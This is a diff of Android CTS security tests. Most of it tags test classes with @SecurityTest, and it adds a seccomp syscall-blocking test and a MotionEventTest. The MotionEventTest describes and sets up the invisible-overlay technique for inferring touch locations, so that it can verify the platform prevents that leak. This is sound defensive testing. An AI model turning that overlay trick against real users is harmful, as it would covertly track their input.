 public class IsolatedProcessTest extends AndroidTestCase {
     static final String TAG = IsolatedProcessTest.class.getSimpleName();
 
diff --git a/tests/tests/security/src/android/security/cts/IsolatedService.java b/tests/tests/security/src/android/security/cts/IsolatedService.java
index 28d2a65..a033113 100644
--- a/tests/tests/security/src/android/security/cts/IsolatedService.java
+++ b/tests/tests/security/src/android/security/cts/IsolatedService.java
@@ -19,6 +19,7 @@
 import android.app.Service;
 import android.content.Intent;
 import android.os.IBinder;
+import android.platform.test.annotations.SecurityTest;
 import android.util.Log;
 import java.lang.reflect.Field;
 import java.lang.reflect.Method;
@@ -26,6 +27,7 @@
 import java.util.HashMap;
 import java.util.Map;
 
+@SecurityTest
 public class IsolatedService extends Service {
 
     private static final String TAG = IsolatedService.class.getSimpleName();
diff --git a/tests/tests/security/src/android/security/cts/KernelSettingsTest.java b/tests/tests/security/src/android/security/cts/KernelSettingsTest.java
index 4d30a58..ca68c78 100644
--- a/tests/tests/security/src/android/security/cts/KernelSettingsTest.java
+++ b/tests/tests/security/src/android/security/cts/KernelSettingsTest.java
@@ -16,6 +16,8 @@
 
 package android.security.cts;
 
+import android.platform.test.annotations.SecurityTest;
+
 import junit.framework.TestCase;
 
 import java.io.BufferedReader;
@@ -28,6 +30,7 @@
  * Verify that the kernel is configured how we expect it to be
  * configured.
  */
+@SecurityTest
 public class KernelSettingsTest extends TestCase {
 
     static {
diff --git a/tests/tests/security/src/android/security/cts/LinuxRngTest.java b/tests/tests/security/src/android/security/cts/LinuxRngTest.java
index 6bc5fd3..9289e5a 100644
--- a/tests/tests/security/src/android/security/cts/LinuxRngTest.java
+++ b/tests/tests/security/src/android/security/cts/LinuxRngTest.java
@@ -16,10 +16,13 @@
 
 package android.security.cts;
 
+import android.platform.test.annotations.SecurityTest;
+
 import junit.framework.TestCase;
 
 import java.io.IOException;
 
+@SecurityTest
 public class LinuxRngTest extends TestCase {
     static {
         System.loadLibrary("ctssecurity_jni");
diff --git a/tests/tests/security/src/android/security/cts/ListeningPortsTest.java b/tests/tests/security/src/android/security/cts/ListeningPortsTest.java
index 54fa406..84dd7a3 100644
--- a/tests/tests/security/src/android/security/cts/ListeningPortsTest.java
+++ b/tests/tests/security/src/android/security/cts/ListeningPortsTest.java
@@ -17,6 +17,7 @@
 package android.security.cts;
 
 import android.content.pm.PackageManager;
+import android.platform.test.annotations.SecurityTest;
 import android.test.AndroidTestCase;
 import android.util.Log;
 import junit.framework.AssertionFailedError;
@@ -39,6 +40,7 @@
  * into computer systems remotely, and minimizing the number of open ports
  * is considered a security best practice.
  */
+@SecurityTest
 public class ListeningPortsTest extends AndroidTestCase {
     private static final String TAG = "ListeningPortsTest";
 
diff --git a/tests/tests/security/src/android/security/cts/MMapExecutableTest.java b/tests/tests/security/src/android/security/cts/MMapExecutableTest.java
index bc2e115..6ba1120 100644
--- a/tests/tests/security/src/android/security/cts/MMapExecutableTest.java
+++ b/tests/tests/security/src/android/security/cts/MMapExecutableTest.java
@@ -15,12 +15,14 @@
  */
 package android.security.cts;
 
+import android.platform.test.annotations.SecurityTest;
 import android.test.AndroidTestCase;
 
 /**
  * Verify that we can mmap executable code from an APK.
  * Prevent regression on: b/16727210 and b/16076402.
  */
+@SecurityTest
 public class MMapExecutableTest extends AndroidTestCase {
     public MMapExecutableTest() {}
 
diff --git a/tests/tests/security/src/android/security/cts/MediaMetadataRetrieverTest.java b/tests/tests/security/src/android/security/cts/MediaMetadataRetrieverTest.java
index 6ae0d69..dbe784a 100644
--- a/tests/tests/security/src/android/security/cts/MediaMetadataRetrieverTest.java
+++ b/tests/tests/security/src/android/security/cts/MediaMetadataRetrieverTest.java
@@ -21,10 +21,12 @@
 import android.content.res.AssetFileDescriptor;
 import android.content.res.Resources;
 import android.media.MediaMetadataRetriever;
+import android.platform.test.annotations.SecurityTest;
 import android.test.AndroidTestCase;
 
 import java.io.IOException;
 
+@SecurityTest
 public class MediaMetadataRetrieverTest extends AndroidTestCase {
     protected Resources mResources;
     protected MediaMetadataRetriever mRetriever;
diff --git a/tests/tests/security/src/android/security/cts/MediaServerCrashTest.java b/tests/tests/security/src/android/security/cts/MediaServerCrashTest.java
index 147a5cd..0d3eda3 100644
--- a/tests/tests/security/src/android/security/cts/MediaServerCrashTest.java
+++ b/tests/tests/security/src/android/security/cts/MediaServerCrashTest.java
@@ -23,9 +23,12 @@
 import android.os.ConditionVariable;
 import android.os.Environment;
 import android.os.ParcelFileDescriptor;
+import android.platform.test.annotations.SecurityTest;
 import android.test.AndroidTestCase;
 import android.util.Log;
 
+import com.android.compatibility.common.util.MediaUtils;
+
 import java.io.File;
 import java.io.FileInputStream;
 import java.io.FileOutputStream;
@@ -35,6 +38,7 @@
 
 import android.security.cts.R;
 
+@SecurityTest
 public class MediaServerCrashTest extends AndroidTestCase {
     private static final String TAG = "MediaServerCrashTest";
 
@@ -120,11 +124,16 @@
     }
 
     private void checkIfMediaServerDiedForDrm(int res) throws Exception {
-        if (!convertDmToFl(res, mFlFilePath)) {
+        AssetFileDescriptor afd = mContext.getResources().openRawResourceFd(res);
+        FileInputStream dmStream = afd.createInputStream();
+        RandomAccessFile flFile = new RandomAccessFile(mFlFilePath, "rw");
+        if (!MediaUtils.convertDmToFl(mContext, dmStream, flFile)) {
             Log.w(TAG, "Can not convert dm to fl, skip checkIfMediaServerDiedForDrm");
             mMediaPlayer.release();
             return;
         }
+        dmStream.close();
+        flFile.close();
         Log.d(TAG, "intermediate fl file is " + mFlFilePath);
 
         ParcelFileDescriptor flFd = null;
@@ -154,124 +163,4 @@
             mMediaPlayer.release();
         }
     }
-
-    private boolean convertDmToFl(int res, String flFilePath) throws Exception {
-        AssetFileDescriptor afd = getContext().getResources().openRawResourceFd(res);
-        FileInputStream inputStream = afd.createInputStream();
-        int inputLength = (int)afd.getLength();
-        byte[] fileData = new byte[inputLength];
-        int readSize = inputStream.read(fileData, 0, inputLength);
-        assertEquals("can not pull in all data", readSize, inputLength);
-        inputStream.close();
-        afd.close();
-
-        FileOutputStream flStream = new FileOutputStream(new File(flFilePath));
-
-        DrmManagerClient drmClient = null;
-        try {
-            drmClient = new DrmManagerClient(mContext);
-        } catch (IllegalArgumentException e) {
-            Log.w(TAG, "DrmManagerClient instance could not be created, context is Illegal.");
-            return false;
-        } catch (IllegalStateException e) {
-            Log.w(TAG, "DrmManagerClient didn't initialize properly.");
-            return false;
-        }
-
-        if (drmClient == null) {
-            Log.w(TAG, "Failed to create DrmManagerClient.");
-            return false;
-        }
-
-        int convertSessionId = -1;
-        try {
-            convertSessionId = drmClient.openConvertSession(MIMETYPE_DRM_MESSAGE);
-        } catch (IllegalArgumentException e) {
-            Log.w(TAG, "Conversion of Mimetype: " + MIMETYPE_DRM_MESSAGE
-                    + " is not supported.", e);
-            return false;
-        } catch (IllegalStateException e) {
-            Log.w(TAG, "Could not access Open DrmFramework.", e);
-            return false;
-        }
-
-        if (convertSessionId < 0) {
-            Log.w(TAG, "Failed to open session.");
-            return false;
-        }
-
-        DrmConvertedStatus convertedStatus = null;
-        try {
-            convertedStatus = drmClient.convertData(convertSessionId, fileData);
-        } catch (IllegalArgumentException e) {
-            Log.w(TAG, "Buffer with data to convert is illegal. Convertsession: "
-                    + convertSessionId, e);
-            return false;
-        } catch (IllegalStateException e) {
-            Log.w(TAG, "Could not convert data. Convertsession: " + convertSessionId, e);
-            return false;
-        }
-
-        if (convertedStatus == null ||
-                convertedStatus.statusCode != DrmConvertedStatus.STATUS_OK ||
-                convertedStatus.convertedData == null) {
-            Log.w(TAG, "Error in converting data. Convertsession: " + convertSessionId);
-            try {
-                drmClient.closeConvertSession(convertSessionId);
-            } catch (IllegalStateException e) {
-                Log.w(TAG, "Could not close session. Convertsession: " +
-                       convertSessionId, e);
-            }
-            return false;
-        }
-
-        flStream.write(convertedStatus.convertedData, 0, convertedStatus.convertedData.length);
-        flStream.close();
-
-        try {
-            convertedStatus = drmClient.closeConvertSession(convertSessionId);
-        } catch (IllegalStateException e) {
-            Log.w(TAG, "Could not close convertsession. Convertsession: " +
-                    convertSessionId, e);
-            return false;
-        }
-
-        if (convertedStatus == null ||
-                convertedStatus.statusCode != DrmConvertedStatus.STATUS_OK ||
-                convertedStatus.convertedData == null) {
-            Log.w(TAG, "Error in closing session. Convertsession: " + convertSessionId);
-            return false;
-        }
-
-        RandomAccessFile flRandomAccessFile = null;
-        try {
-            flRandomAccessFile = new RandomAccessFile(flFilePath, "rw");
-            flRandomAccessFile.seek(convertedStatus.offset);
-            flRandomAccessFile.write(convertedStatus.convertedData);
-        } catch (FileNotFoundException e) {
-            Log.w(TAG, "File: " + flFilePath + " could not be found.", e);
-            return false;
-        } catch (IOException e) {
-            Log.w(TAG, "Could not access File: " + flFilePath + " .", e);
-            return false;
-        } catch (IllegalArgumentException e) {
-            Log.w(TAG, "Could not open file in mode: rw", e);
-            return false;
-        } catch (SecurityException e) {
-            Log.w(TAG, "Access to File: " + flFilePath +
-                    " was denied denied by SecurityManager.", e);
-            return false;
-        } finally {
-            if (flRandomAccessFile != null) {
-                try {
-                    flRandomAccessFile.close();
-                } catch (IOException e) {
-                    Log.w(TAG, "Failed to close File:" + flFilePath + ".", e);
-                    return false;
-                }
-            }
-        }
-
-        return true;
-    }
 }
diff --git a/tests/tests/security/src/android/security/cts/MotionEventTest.java b/tests/tests/security/src/android/security/cts/MotionEventTest.java
new file mode 100644
index 0000000..6adb739
--- /dev/null
+++ b/tests/tests/security/src/android/security/cts/MotionEventTest.java
@@ -0,0 +1,200 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import static org.junit.Assert.assertEquals;
+
+import android.app.Activity;
+import android.app.Instrumentation;
+import android.app.UiAutomation;
+import android.graphics.Color;
+import android.graphics.Point;
+import android.os.ParcelFileDescriptor;
+import android.os.SystemClock;
+import android.support.test.InstrumentationRegistry;
+import android.support.test.filters.MediumTest;
+import android.support.test.rule.ActivityTestRule;
+import android.support.test.runner.AndroidJUnit4;
+import android.view.Gravity;
+import android.view.InputDevice;
+import android.view.MotionEvent;
+import android.view.View;
+import android.view.ViewGroup;
+import android.view.WindowManager;
+
+import com.android.compatibility.common.util.PollingCheck;
+
+import org.junit.Before;
+import org.junit.Rule;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.io.FileInputStream;
+import java.io.InputStream;
+import java.util.ArrayList;
+import java.util.List;
+import java.util.Scanner;
+import java.util.concurrent.FutureTask;
+import java.util.concurrent.TimeUnit;
+
+@MediumTest
+@RunWith(AndroidJUnit4.class)
+public class MotionEventTest {
+    private static final String TAG = "MotionEventTest";
+    private Activity mActivity;
+    private Instrumentation mInstrumentation;
+
+    @Rule
+    public ActivityTestRule<MotionEventTestActivity> mActivityRule =
+            new ActivityTestRule<>(MotionEventTestActivity.class);
+
+    @Before
+    public void setup() {
+        mInstrumentation = InstrumentationRegistry.getInstrumentation();
+        mActivity = mActivityRule.getActivity();
+        PollingCheck.waitFor(mActivity::hasWindowFocus);
+    }
+
+    /**
+     * Test for whether ACTION_OUTSIDE events contain information about whether touches are
+     * obscured.
+     *
+     * If ACTION_OUTSIDE_EVENTS contain information about whether the touch is obscured, then a
+     * pattern of invisible, untouchable, unfocusable application overlays can be placed across the
+     * screen to determine approximate locations of touch events without the user knowing.
+     */
+    @Test
+    public void testActionOutsideDoesNotContainedObscuredInformation() throws Exception {
+        enableAppOps();
+        final OnTouchListener listener = new OnTouchListener();
+        final Point size = new Point();
+        final View[] viewHolder = new View[1];
+        mActivity.runOnUiThread(() -> {
+            final WindowManager wm = mActivity.getSystemService(WindowManager.class);
+            wm.getDefaultDisplay().getSize(size);
+
+            WindowManager.LayoutParams wmlp = new WindowManager.LayoutParams(
+                    WindowManager.LayoutParams.TYPE_APPLICATION_OVERLAY,
+                    WindowManager.LayoutParams.FLAG_NOT_FOCUSABLE |
+                    WindowManager.LayoutParams.FLAG_WATCH_OUTSIDE_TOUCH |
+                    WindowManager.LayoutParams.FLAG_NOT_TOUCHABLE);
+            wmlp.width = size.x / 4;
+            wmlp.height = size.y / 4;
+            wmlp.gravity = Gravity.TOP | Gravity.LEFT;
+            wmlp.setTitle(mActivity.getPackageName());
+
+            ViewGroup.LayoutParams vglp = new ViewGroup.LayoutParams(
+                    ViewGroup.LayoutParams.MATCH_PARENT,
+                    ViewGroup.LayoutParams.MATCH_PARENT);
+
+            View v = new View(mActivity);
+            v.setOnTouchListener(listener);
+            v.setBackgroundColor(Color.GREEN);
+            v.setLayoutParams(vglp);
+            wm.addView(v, wmlp);
+
+            wmlp.gravity = Gravity.TOP | Gravity.RIGHT;
+
+            v = new View(mActivity);
+            v.setBackgroundColor(Color.BLUE);
+            v.setOnTouchListener(listener);
+            v.setLayoutParams(vglp);
+            viewHolder[0] = v;
+
+            wm.addView(v, wmlp);
+        });
+        mInstrumentation.waitForIdleSync();
+
+        FutureTask<Point> task = new FutureTask<>(() -> {
+            final int[] viewLocation = new int[2];
+            viewHolder[0].getLocationOnScreen(viewLocation);
+            return new Point(viewLocation[0], viewLocation[1]);
+        });
+        mActivity.runOnUiThread(task);
+        Point viewLocation = task.get(5, TimeUnit.SECONDS);
+        injectTap(viewLocation.x, viewLocation.y);
+
+        List<MotionEvent> outsideEvents = listener.getOutsideEvents();
+        assertEquals(2, outsideEvents.size());
+        for (MotionEvent e : outsideEvents) {
+            assertEquals(0, e.getFlags() & MotionEvent.FLAG_WINDOW_IS_OBSCURED);
+        }
+    }
+
+
+    private void enableAppOps() {
+        StringBuilder cmd = new StringBuilder();
+        cmd.append("appops set ");
+        cmd.append(mInstrumentation.getContext().getPackageName());
+        cmd.append(" android:system_alert_window allow");
+        mInstrumentation.getUiAutomation().executeShellCommand(cmd.toString());
+
+        StringBuilder query = new StringBuilder();
+        query.append("appops get ");
+        query.append(mInstrumentation.getContext().getPackageName());
+        query.append(" android:system_alert_window");
+        String queryStr = query.toString();
+
+        String result;
+        do {
+            ParcelFileDescriptor pfd =
+                    mInstrumentation.getUiAutomation().executeShellCommand(queryStr);
+            InputStream inputStream = new FileInputStream(pfd.getFileDescriptor());
+            result = convertStreamToString(inputStream);
+        } while (result.contains("No operations"));
+    }
+
+    private String convertStreamToString(InputStream is) {
+        try (Scanner s = new Scanner(is).useDelimiter("\\A")) {
+            return s.hasNext() ? s.next() : "";
+        }
+    }
+
+    private void injectTap(int x, int y) {
+        long downTime = SystemClock.uptimeMillis();
+        injectEvent(MotionEvent.ACTION_DOWN, x, y, downTime);
+        injectEvent(MotionEvent.ACTION_UP, x, y, downTime);
+    }
+
+    private void injectEvent(int action, int x, int y, long downTime) {
+        final UiAutomation automation = mInstrumentation.getUiAutomation();
+        final long eventTime = SystemClock.uptimeMillis();
+        MotionEvent event = MotionEvent.obtain(downTime, eventTime, action, x, y, 0);
+        event.setSource(InputDevice.SOURCE_TOUCHSCREEN);
+        automation.injectInputEvent(event, true);
+        event.recycle();
+    }
+
+    private static class OnTouchListener implements View.OnTouchListener {
+        private List<MotionEvent> mOutsideEvents;
+
+        public OnTouchListener() {
+            mOutsideEvents = new ArrayList<>();
+        }
+
+        public boolean onTouch(View v, MotionEvent e) {
+            if (e.getAction() == MotionEvent.ACTION_OUTSIDE) {
+                mOutsideEvents.add(MotionEvent.obtain(e));
+            }
+            return true;
+        }
+
+        public List<MotionEvent> getOutsideEvents() {
+            return mOutsideEvents;
+        }
+    }
+}
diff --git a/tests/tests/security/src/android/security/cts/MotionEventTestActivity.java b/tests/tests/security/src/android/security/cts/MotionEventTestActivity.java
new file mode 100644
index 0000000..d986aff
--- /dev/null
+++ b/tests/tests/security/src/android/security/cts/MotionEventTestActivity.java
@@ -0,0 +1,24 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import android.security.cts.R;
+
+import android.app.Activity;
+import android.os.Bundle;
+
+public class MotionEventTestActivity extends Activity { }
diff --git a/tests/tests/security/src/android/security/cts/Movie33897722.java b/tests/tests/security/src/android/security/cts/Movie33897722.java
index f6859da..e14ded1 100644
--- a/tests/tests/security/src/android/security/cts/Movie33897722.java
+++ b/tests/tests/security/src/android/security/cts/Movie33897722.java
@@ -23,12 +23,14 @@
 import android.graphics.Paint;
 import android.graphics.PorterDuff;
 import android.graphics.PorterDuffXfermode;
+import android.platform.test.annotations.SecurityTest;
 import android.test.AndroidTestCase;
 
 import java.io.InputStream;
 
 import android.security.cts.R;
 
+@SecurityTest
 public class Movie33897722 extends AndroidTestCase {
     /**
      * Verifies that decoding a particular GIF file does not read out out of bounds.
diff --git a/tests/tests/security/src/android/security/cts/NativeCodeTest.java b/tests/tests/security/src/android/security/cts/NativeCodeTest.java
index eb162fb..77d75d8 100644
--- a/tests/tests/security/src/android/security/cts/NativeCodeTest.java
+++ b/tests/tests/security/src/android/security/cts/NativeCodeTest.java
@@ -20,6 +20,7 @@
 
 import junit.framework.TestCase;
 
+@SecurityTest
 public class NativeCodeTest extends TestCase {
 
     static {
@@ -27,14 +28,6 @@
     }
 
     @SecurityTest
-    public void testVroot() throws Exception {
-        assertTrue("Device is vulnerable to CVE-2013-6282. Please apply security patch at "
-                   + "https://git.kernel.org/cgit/linux/kernel/git/torvalds/linux.git/"
-                   + "commit/arch/arm/include/asm/uaccess.h?id="
-                   + "8404663f81d212918ff85f493649a7991209fa04", doVrootTest());
-    }
-
-    @SecurityTest
     public void testPerfEvent() throws Exception {
         assertFalse("Device is vulnerable to CVE-2013-2094. Please apply security patch "
                     + "at http://git.kernel.org/cgit/linux/kernel/git/torvalds/linux.git/"
@@ -114,16 +107,6 @@
      */
     private static native boolean doPerfEventTest2();
 
-    /**
-     * ANDROID-11234878 / CVE-2013-6282
-     *
-     * Returns true if the device is patched against the vroot vulnerability, false otherwise.
-     *
-     * The following patch addresses this bug:
-     * https://git.kernel.org/cgit/linux/kernel/git/torvalds/linux.git/commit/arch/arm/include/asm/uaccess.h?id=8404663f81d212918ff85f493649a7991209fa04
-     */
-    private static native boolean doVrootTest();
-
     @SecurityTest
     public void testCVE20141710() throws Exception {
         assertTrue("Device is vulnerable to CVE-2014-1710", doCVE20141710Test());
diff --git a/tests/tests/security/src/android/security/cts/NetdTest.java b/tests/tests/security/src/android/security/cts/NetdTest.java
index 1fd0782..5ebd141 100644
--- a/tests/tests/security/src/android/security/cts/NetdTest.java
+++ b/tests/tests/security/src/android/security/cts/NetdTest.java
@@ -18,6 +18,7 @@
 
 import android.os.Binder;
 import android.os.IBinder;
+import android.platform.test.annotations.SecurityTest;
 
 import junit.framework.TestCase;
 
@@ -25,6 +26,7 @@
 import java.lang.reflect.InvocationTargetException;
 import java.lang.reflect.Method;
 
+@SecurityTest
 public class NetdTest extends TestCase {
 
     /**
diff --git a/tests/tests/security/src/android/security/cts/OpenSSLEarlyCCSTest.java b/tests/tests/security/src/android/security/cts/OpenSSLEarlyCCSTest.java
index bba75dc..a6bad84 100644
--- a/tests/tests/security/src/android/security/cts/OpenSSLEarlyCCSTest.java
+++ b/tests/tests/security/src/android/security/cts/OpenSSLEarlyCCSTest.java
@@ -16,6 +16,7 @@
 
 package android.security.cts;
 
+import android.platform.test.annotations.SecurityTest;
 import android.security.cts.OpenSSLHeartbleedTest.AlertMessage;
 import android.security.cts.OpenSSLHeartbleedTest.HandshakeMessage;
 import android.security.cts.OpenSSLHeartbleedTest.HardcodedCertX509KeyManager;
@@ -56,6 +57,7 @@
 /**
  * Tests for the OpenSSL early ChangeCipherSpec (CCS) vulnerability (CVE-2014-0224).
  */
+@SecurityTest
 public class OpenSSLEarlyCCSTest extends InstrumentationTestCase {
 
     // IMPLEMENTATION NOTE: This test spawns an SSLSocket client, SSLServerSocket server, and a
diff --git a/tests/tests/security/src/android/security/cts/OpenSSLHeartbleedTest.java b/tests/tests/security/src/android/security/cts/OpenSSLHeartbleedTest.java
index 61a03a1..95a82a8 100644
--- a/tests/tests/security/src/android/security/cts/OpenSSLHeartbleedTest.java
+++ b/tests/tests/security/src/android/security/cts/OpenSSLHeartbleedTest.java
@@ -17,6 +17,7 @@
 package android.security.cts;
 
 import android.content.Context;
+import android.platform.test.annotations.SecurityTest;
 import android.test.InstrumentationTestCase;
 import android.util.Log;
 
@@ -57,6 +58,7 @@
 /**
  * Tests for the OpenSSL Heartbleed vulnerability.
  */
+@SecurityTest
 public class OpenSSLHeartbleedTest extends InstrumentationTestCase {
 
     // IMPLEMENTATION NOTE: This test spawns an SSLSocket client, SSLServerSocket server, and a
diff --git a/tests/tests/security/src/android/security/cts/PackageSignatureTest.java b/tests/tests/security/src/android/security/cts/PackageSignatureTest.java
index e29cbdb..a5faa42 100644
--- a/tests/tests/security/src/android/security/cts/PackageSignatureTest.java
+++ b/tests/tests/security/src/android/security/cts/PackageSignatureTest.java
@@ -22,6 +22,7 @@
 import android.content.pm.Signature;
 import android.content.res.Resources.NotFoundException;
 import android.platform.test.annotations.RestrictedBuildTest;
+import android.platform.test.annotations.SecurityTest;
 import android.test.AndroidTestCase;
 import android.util.Log;
 
@@ -37,6 +38,7 @@
 import java.util.regex.Matcher;
 import java.util.regex.Pattern;
 
+@SecurityTest
 public class PackageSignatureTest extends AndroidTestCase {
 
     private static final String TAG = PackageSignatureTest.class.getSimpleName();
diff --git a/tests/tests/security/src/android/security/cts/PutOverflowTest.java b/tests/tests/security/src/android/security/cts/PutOverflowTest.java
index e0eb34c..9755efa 100644
--- a/tests/tests/security/src/android/security/cts/PutOverflowTest.java
+++ b/tests/tests/security/src/android/security/cts/PutOverflowTest.java
@@ -16,9 +16,11 @@
 
 package android.security.cts;
 
+import android.platform.test.annotations.SecurityTest;
 import android.test.AndroidTestCase;
 import java.lang.reflect.Method;
 
+@SecurityTest
 public class PutOverflowTest extends AndroidTestCase {
     public void testCrash() throws Exception {
         try {
diff --git a/tests/tests/security/src/android/security/cts/RunningAppProcessInfoTest.java b/tests/tests/security/src/android/security/cts/RunningAppProcessInfoTest.java
index f6e463f..65ce85f 100644
--- a/tests/tests/security/src/android/security/cts/RunningAppProcessInfoTest.java
+++ b/tests/tests/security/src/android/security/cts/RunningAppProcessInfoTest.java
@@ -18,10 +18,12 @@
 
 import android.app.ActivityManager;
 import android.content.Context;
+import android.platform.test.annotations.SecurityTest;
 import android.test.AndroidTestCase;
 
 import java.util.List;
 
+@SecurityTest
 public class RunningAppProcessInfoTest extends AndroidTestCase {
     /*
      * This test verifies severity vulnerability: apps can bypass the L restrictions in
diff --git a/tests/tests/security/src/android/security/cts/SELinuxTest.java b/tests/tests/security/src/android/security/cts/SELinuxTest.java
index 1733aa5..6e65ab4 100644
--- a/tests/tests/security/src/android/security/cts/SELinuxTest.java
+++ b/tests/tests/security/src/android/security/cts/SELinuxTest.java
@@ -18,6 +18,7 @@
 
 import android.content.Context;
 import android.content.res.AssetManager;
+import android.platform.test.annotations.SecurityTest;
 import android.test.AndroidTestCase;
 
 import junit.framework.TestCase;
@@ -36,6 +37,7 @@
 /**
  * Verify that the SELinux configuration is sane.
  */
+@SecurityTest
 public class SELinuxTest extends AndroidTestCase {
 
     static {
diff --git a/tests/tests/security/src/android/security/cts/STKFrameworkTest.java b/tests/tests/security/src/android/security/cts/STKFrameworkTest.java
index a30387f..e431a6c 100644
--- a/tests/tests/security/src/android/security/cts/STKFrameworkTest.java
+++ b/tests/tests/security/src/android/security/cts/STKFrameworkTest.java
@@ -17,9 +17,12 @@
 
 import android.content.ComponentName;
 import android.content.Intent;
+import android.platform.test.annotations.SecurityTest;
+import android.test.AndroidTestCase;
 import android.content.pm.PackageManager;
 import android.test.AndroidTestCase;
 
+@SecurityTest
 public class STKFrameworkTest extends AndroidTestCase {
     private boolean mHasTelephony;
 
@@ -45,7 +48,7 @@
         }
 
         Intent intent = new Intent();
-        intent.setAction("android.intent.action.stk.command");
+        intent.setAction("com.android.internal.stk.command");
         intent.putExtra("STK CMD", "test");
         ComponentName cn =
                 ComponentName.unflattenFromString("com.android.stk/com.android.stk.StkCmdReceiver");
@@ -53,11 +56,11 @@
         try {
             mContext.sendBroadcast(intent);
             fail("Able to send broadcast which can be received by any app which has registered " +
-                    "broadcast for action 'android.intent.action.stk.command' since it is not " +
+                    "broadcast for action 'com.android.internal.stk.command' since it is not " +
                     "protected with any permission. Device is vulnerable to CVE-2015-3843.");
         } catch (SecurityException e) {
             /* Pass the Test case: App should not be able to send broadcast using action
-             * 'android.intent.action.stk.command' as it is protected by permission in
+             * 'com.android.internal.stk.command' as it is protected by permission in
              * patched devices
              */
         }
diff --git a/tests/tests/security/src/android/security/cts/SeccompTest.java b/tests/tests/security/src/android/security/cts/SeccompTest.java
new file mode 100644
index 0000000..745aa87
--- /dev/null
+++ b/tests/tests/security/src/android/security/cts/SeccompTest.java
@@ -0,0 +1,103 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import android.test.AndroidTestCase;
+
+import com.android.compatibility.common.util.CpuFeatures;
+
+import junit.framework.TestCase;
+
+/**
+ * Verify that the seccomp policy is enforced
+ */
+public class SeccompTest extends AndroidTestCase {
+
+    static {
+        System.loadLibrary("ctssecurity_jni");
+    }
+
+    public void testCTSSyscallBlocked() {
+        if (CpuFeatures.isArm64Cpu()) {
+            testBlocked(217); // __NR_add_key
+            testBlocked(219); // __NR_keyctl
+            testAllowed(56); // __NR_openat
+
+            // b/35034743 - do not remove test without reading bug
+            testAllowed(267); // __NR_fstatfs64
+        } else if (CpuFeatures.isArmCpu()) {
+            testBlocked(309); // __NR_add_key
+            testBlocked(311); // __NR_keyctl
+            testAllowed(322); // __NR_openat
+
+            // b/35906875 - do not remove test without reading bug
+            testAllowed(316); // __NR_inotify_init
+        } else if (CpuFeatures.isX86_64Cpu()) {
+            testBlocked(248); // __NR_add_key
+            testBlocked(250); // __NR_keyctl
+            testAllowed(257); // __NR_openat
+        } else if (CpuFeatures.isX86Cpu()) {
+            testBlocked(286); // __NR_add_key
+            testBlocked(288); // __NR_keyctl
+            testAllowed(295); // __NR_openat
+        } else if (CpuFeatures.isMips64Cpu()) {
+            testBlocked(5239); // __NR_add_key
+            testBlocked(5241); // __NR_keyctl
+            testAllowed(5247); // __NR_openat
+        } else if (CpuFeatures.isMipsCpu()) {
+            testBlocked(4280); // __NR_add_key
+            testBlocked(4282); // __NR_keyctl
+            testAllowed(4288); // __NR_openat
+        } else {
+            fail("Unsupported OS");
+        }
+    }
+
+    public void testCTSSwapOnOffBlocked() {
+        if (CpuFeatures.isArm64Cpu()) {
+            testBlocked(224); // __NR_swapon
+            testBlocked(225); // __NR_swapoff
+        } else if (CpuFeatures.isArmCpu()) {
+            testBlocked(87);  // __NR_swapon
+            testBlocked(115); // __NR_swapoff
+        } else if (CpuFeatures.isX86_64Cpu()) {
+            testBlocked(167); // __NR_swapon
+            testBlocked(168); // __NR_swapoff
+        } else if (CpuFeatures.isX86Cpu()) {
+            testBlocked(87);  // __NR_swapon
+            testBlocked(115); // __NR_swapoff
+        } else if (CpuFeatures.isMips64Cpu()) {
+            testBlocked(5162); // __NR_swapon
+            testBlocked(5163); // __NR_swapoff
+        } else if (CpuFeatures.isMipsCpu()) {
+            testBlocked(4087); // __NR_swapon
+            testBlocked(4115); // __NR_swapoff
+        } else {
+            fail("Unsupported OS");
+        }
+    }
+
+    private void testBlocked(int nr) {
+        assertTrue("Syscall " + nr + " allowed", testSyscallBlocked(nr));
+    }
+
+    private void testAllowed(int nr) {
+        assertFalse("Syscall " + nr + " blocked", testSyscallBlocked(nr));
+    }
+
+    private static final native boolean testSyscallBlocked(int nr);
+}
diff --git a/tests/tests/security/src/android/security/cts/ServicePermissionsTest.java b/tests/tests/security/src/android/security/cts/ServicePermissionsTest.java
index fdc3058..bfe1f55 100644
--- a/tests/tests/security/src/android/security/cts/ServicePermissionsTest.java
+++ b/tests/tests/security/src/android/security/cts/ServicePermissionsTest.java
@@ -19,6 +19,7 @@
 import android.os.IBinder;
 import android.os.DeadObjectException;
 import android.os.TransactionTooLargeException;
+import android.platform.test.annotations.SecurityTest;
 import android.test.AndroidTestCase;
 import android.util.Log;
 
@@ -33,6 +34,7 @@
 /**
  * Verifies that permissions are enforced on various system services.
  */
+@SecurityTest
 public class ServicePermissionsTest extends AndroidTestCase {
 
     private static final String TAG = "ServicePermissionsTest";
